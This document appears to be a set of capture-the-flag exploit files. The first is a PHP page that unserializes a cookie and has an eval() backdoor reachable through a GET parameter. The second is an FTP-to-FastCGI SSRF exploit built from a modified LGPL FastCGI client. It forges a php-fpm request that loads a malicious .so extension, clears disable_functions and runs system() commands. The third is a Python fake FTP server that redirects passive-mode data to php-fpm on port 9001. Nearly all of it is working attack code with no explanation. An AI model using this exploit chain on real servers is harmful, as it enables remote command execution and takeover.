1<?php
 2include "user.php";
 3if($user=unserialize($_COOKIE["data"])){
 4	$count[++$user->count]=1;
 5	if($count[]=1){
 6		$user->count+=1;
 7		setcookie("data",serialize($user));
 8	}else{
 9		eval($_GET["backdoor"]);
10	}
11}else{
12	$user=new User;
13	$user->count=1;
14	setcookie("data",serialize($user));
15}
16?>

  1<?php
  2/**
  3 * Note : Code is released under the GNU LGPL
  4 *
  5 * Please do not change the header of this file
  6 *
  7 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
  8 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
  9 * the License, or (at your option) any later version.
 10 *
 11 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 12 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 13 *
 14 * See the GNU Lesser General Public License for more details.
 15 */
 16/**
 17 * Handles communication with a FastCGI application
 18 *
 19 * @author      Pierrick Charron <pierrick@webstart.fr>
 20 * @version     1.0
 21 */
 22class FCGIClient
 23{
 24    const VERSION_1            = 1;
 25    const BEGIN_REQUEST        = 1;
 26    const ABORT_REQUEST        = 2;
 27    const END_REQUEST          = 3;
 28    const PARAMS               = 4;
 29    const STDIN                = 5;
 30    const STDOUT               = 6;
 31    const STDERR               = 7;
 32    const DATA                 = 8;
 33    const GET_VALUES           = 9;
 34    const GET_VALUES_RESULT    = 10;
 35    const UNKNOWN_TYPE         = 11;
 36    const MAXTYPE              = self::UNKNOWN_TYPE;
 37    const RESPONDER            = 1;
 38    const AUTHORIZER           = 2;
 39    const FILTER               = 3;
 40    const REQUEST_COMPLETE     = 0;
 41    const CANT_MPX_CONN        = 1;
 42    const OVERLOADED           = 2;
 43    const UNKNOWN_ROLE         = 3;
 44    const MAX_CONNS            = 'MAX_CONNS';
 45    const MAX_REQS             = 'MAX_REQS';
 46    const MPXS_CONNS           = 'MPXS_CONNS';
 47    const HEADER_LEN           = 8;
 48    /**
 49     * Socket
 50     * @var Resource
 51     */
 52    private $_sock = null;
 53    /**
 54     * Host
 55     * @var String
 56     */
 57    private $_host = null;
 58    /**
 59     * Port
 60     * @var Integer
 61     */
 62    private $_port = null;
 63    /**
 64     * Keep Alive
 65     * @var Boolean
 66     */
 67    private $_keepAlive = false;
 68    /**
 69     * Constructor
 70     *
 71     * @param String $host Host of the FastCGI application
 72     * @param Integer $port Port of the FastCGI application
 73     */
 74    public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
 75    {
 76        $this->_host = $host;
 77        $this->_port = $port;
 78    }
 79    /**
 80     * Define whether or not the FastCGI application should keep the connection
 81     * alive at the end of a request
 82     *
 83     * @param Boolean $b true if the connection should stay alive, false otherwise
 84     */
 85    public function setKeepAlive($b)
 86    {
 87        $this->_keepAlive = (boolean)$b;
 88        if (!$this->_keepAlive && $this->_sock) {
 89            fclose($this->_sock);
 90        }
 91    }
 92    /**
 93     * Get the keep alive status
 94     *
 95     * @return Boolean true if the connection should stay alive, false otherwise
 96     */
 97    public function getKeepAlive()
 98    {
 99        return $this->_keepAlive;
100    }
101    /**
102     * Create a connection to the FastCGI application
103     */
104    private function connect()
105    {
106        if (!$this->_sock) {
107            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
108            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
109            if (!$this->_sock) {
110                throw new Exception('Unable to connect to FastCGI application');
111            }
112        }
113    }
114    /**
115     * Build a FastCGI packet
116     *
117     * @param Integer $type Type of the packet
118     * @param String $content Content of the packet
119     * @param Integer $requestId RequestId
120     */
121    private function buildPacket($type, $content, $requestId = 1)
122    {
123        $clen = strlen($content);
124        return chr(self::VERSION_1)         /* version */
125            . chr($type)                    /* type */
126            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
127            . chr($requestId & 0xFF)        /* requestIdB0 */
128            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
129            . chr($clen & 0xFF)             /* contentLengthB0 */
130            . chr(0)                        /* paddingLength */
131            . chr(0)                        /* reserved */
132            . $content;                     /* content */
133    }
134    /**
135     * Build an FastCGI Name value pair
136     *
137     * @param String $name Name
138     * @param String $value Value
139     * @return String FastCGI Name value pair
140     */
141    private function buildNvpair($name, $value)
142    {
143        $nlen = strlen($name);
144        $vlen = strlen($value);
145        if ($nlen < 128) {
146            /* nameLengthB0 */
147            $nvpair = chr($nlen);
148        } else {
149            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
150            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
151        }
152        if ($vlen < 128) {
153            /* valueLengthB0 */
154            $nvpair .= chr($vlen);
155        } else {
156            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
157            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
158        }
159        /* nameData & valueData */
160        return $nvpair . $name . $value;
161    }
162    /**
163     * Read a set of FastCGI Name value pairs
164     *
165     * @param String $data Data containing the set of FastCGI NVPair
166     * @return array of NVPair
167     */
168    private function readNvpair($data, $length = null)
169    {
170        $array = array();
171        if ($length === null) {
172            $length = strlen($data);
173        }
174        $p = 0;
175        while ($p != $length) {
176            $nlen = ord($data{$p++});
177            if ($nlen >= 128) {
178                $nlen = ($nlen & 0x7F << 24);
179                $nlen |= (ord($data{$p++}) << 16);
180                $nlen |= (ord($data{$p++}) << 8);
181                $nlen |= (ord($data{$p++}));
182            }
183            $vlen = ord($data{$p++});
184            if ($vlen >= 128) {
185                $vlen = ($nlen & 0x7F << 24);
186                $vlen |= (ord($data{$p++}) << 16);
187                $vlen |= (ord($data{$p++}) << 8);
188                $vlen |= (ord($data{$p++}));
189            }
190            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
191            $p += ($nlen + $vlen);
192        }
193        return $array;
194    }
195    /**
196     * Decode a FastCGI Packet
197     *
198     * @param String $data String containing all the packet
199     * @return array
200     */
201    private function decodePacketHeader($data)
202    {
203        $ret = array();
204        $ret['version']       = ord($data{0});
205        $ret['type']          = ord($data{1});
206        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
207        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
208        $ret['paddingLength'] = ord($data{6});
209        $ret['reserved']      = ord($data{7});
210        return $ret;
211    }
212    /**
213     * Read a FastCGI Packet
214     *
215     * @return array
216     */
217    private function readPacket()
218    {
219        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
220            $resp = $this->decodePacketHeader($packet);
221            $resp['content'] = '';
222            if ($resp['contentLength']) {
223                $len  = $resp['contentLength'];
224                while ($len && $buf=fread($this->_sock, $len)) {
225                    $len -= strlen($buf);
226                    $resp['content'] .= $buf;
227                }
228            }
229            if ($resp['paddingLength']) {
230                $buf=fread($this->_sock, $resp['paddingLength']);
231            }
232            return $resp;
233        } else {
234            return false;
235        }
236    }
237    /**
238     * Get Informations on the FastCGI application
239     *
240     * @param array $requestedInfo information to retrieve
241     * @return array
242     */
243    public function getValues(array $requestedInfo)
244    {
245        $this->connect();
246        $request = '';
247        foreach ($requestedInfo as $info) {
248            $request .= $this->buildNvpair($info, '');
249        }
250        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
251        $resp = $this->readPacket();
252        if ($resp['type'] == self::GET_VALUES_RESULT) {
253            return $this->readNvpair($resp['content'], $resp['length']);
254        } else {
255            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
256        }
257    }
258    /**
259     * Execute a request to the FastCGI application
260     *
261     * @param array $params Array of parameters
262     * @param String $stdin Content
263     * @return String
264     */
265    public function request(array $params, $stdin)
266    {
267        $response = '';
268//        $this->connect();
269        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
270        $paramsRequest = '';
271        foreach ($params as $key => $value) {
272            $paramsRequest .= $this->buildNvpair($key, $value);
273        }
274        if ($paramsRequest) {
275            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
276        }
277        $request .= $this->buildPacket(self::PARAMS, '');
278        if ($stdin) {
279            $request .= $this->buildPacket(self::STDIN, $stdin);
280        }
281        $request .= $this->buildPacket(self::STDIN, '');
282        echo('?file=ftp://ip:9999/&data='.urlencode($request));
283//        fwrite($this->_sock, $request);
284//        do {
285//            $resp = $this->readPacket();
286//            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
287//                $response .= $resp['content'];
288//            }
289//        } while ($resp && $resp['type'] != self::END_REQUEST);
290//        var_dump($resp);
291//        if (!is_array($resp)) {
292//            throw new Exception('Bad request');
293//        }
294//        switch (ord($resp['content']{4})) {
295//            case self::CANT_MPX_CONN:
296//                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
297//                break;
298//            case self::OVERLOADED:
299//                throw new Exception('New request rejected; too busy [OVERLOADED]');
300//                break;
301//            case self::UNKNOWN_ROLE:
302//                throw new Exception('Role value not known [UNKNOWN_ROLE]');
303//                break;
304//            case self::REQUEST_COMPLETE:
305//                return $response;
306//        }
307    }
308}
309?>
310<?php
311// real exploit start here
312//if (!isset($_REQUEST['cmd'])) {
313//    die("Check your input\n");
314//}
315//if (!isset($_REQUEST['filepath'])) {
316//    $filepath = __FILE__;
317//}else{
318//    $filepath = $_REQUEST['filepath'];
319//}
320
321$filepath = "/var/www/html/add_api.php";
322$req = '/'.basename($filepath);
323$uri = $req .'?'.'command=whoami';
324$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
325$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
326$php_value = "unserialize_callback_func = system\nextension_dir = /var/www/html\nextension = evilso.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = "; // extension_dir即为.so文件所在目录
327$params = array(
328    'GATEWAY_INTERFACE' => 'FastCGI/1.0',
329    'REQUEST_METHOD'    => 'POST',
330    'SCRIPT_FILENAME'   => $filepath,
331    'SCRIPT_NAME'       => $req,
332    'QUERY_STRING'      => 'command=whoami',
333    'REQUEST_URI'       => $uri,
334    'DOCUMENT_URI'      => $req,
335#'DOCUMENT_ROOT'     => '/',
336    'PHP_VALUE'         => $php_value,
337    'SERVER_SOFTWARE'   => 'ctfking/Tajang',
338    'REMOTE_ADDR'       => '127.0.0.1',
339    'REMOTE_PORT'       => '9001', // 找准服务端口
340    'SERVER_ADDR'       => '127.0.0.1',
341    'SERVER_PORT'       => '80',
342    'SERVER_NAME'       => 'localhost',
343    'SERVER_PROTOCOL'   => 'HTTP/1.1',
344    'CONTENT_LENGTH'    => strlen($code)
345);
346// print_r($_REQUEST);
347// print_r($params);
348//echo "Call: $uri\n\n";
349echo $client->request($params, $code)."\n";
350?>

 1import socket
 2s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
 3s.bind(('0.0.0.0', 9999))
 4s.listen(1)
 5conn, addr = s.accept()
 6conn.send(b'220 welcome\n')
 7#Service ready for new user.
 8#Client send anonymous username
 9#USER anonymous
10conn.send(b'331 Please specify the password.\n')
11#User name okay, need password.
12#Client send anonymous password.
13#PASS anonymous
14conn.send(b'230 Login successful.\n')
15#User logged in, proceed. Logged out if appropriate.
16#TYPE I
17conn.send(b'200 Switching to Binary mode.\n')
18#Size /
19conn.send(b'550 Could not get the file size.\n')
20#EPSV (1)
21conn.send(b'150 ok\n')
22#PASV
23conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2) 注意打到9001端口的服务
24conn.send(b'150 Permission denied.\n')
25#QUIT
26conn.send(b'221 Goodbye.\n')
27conn.close()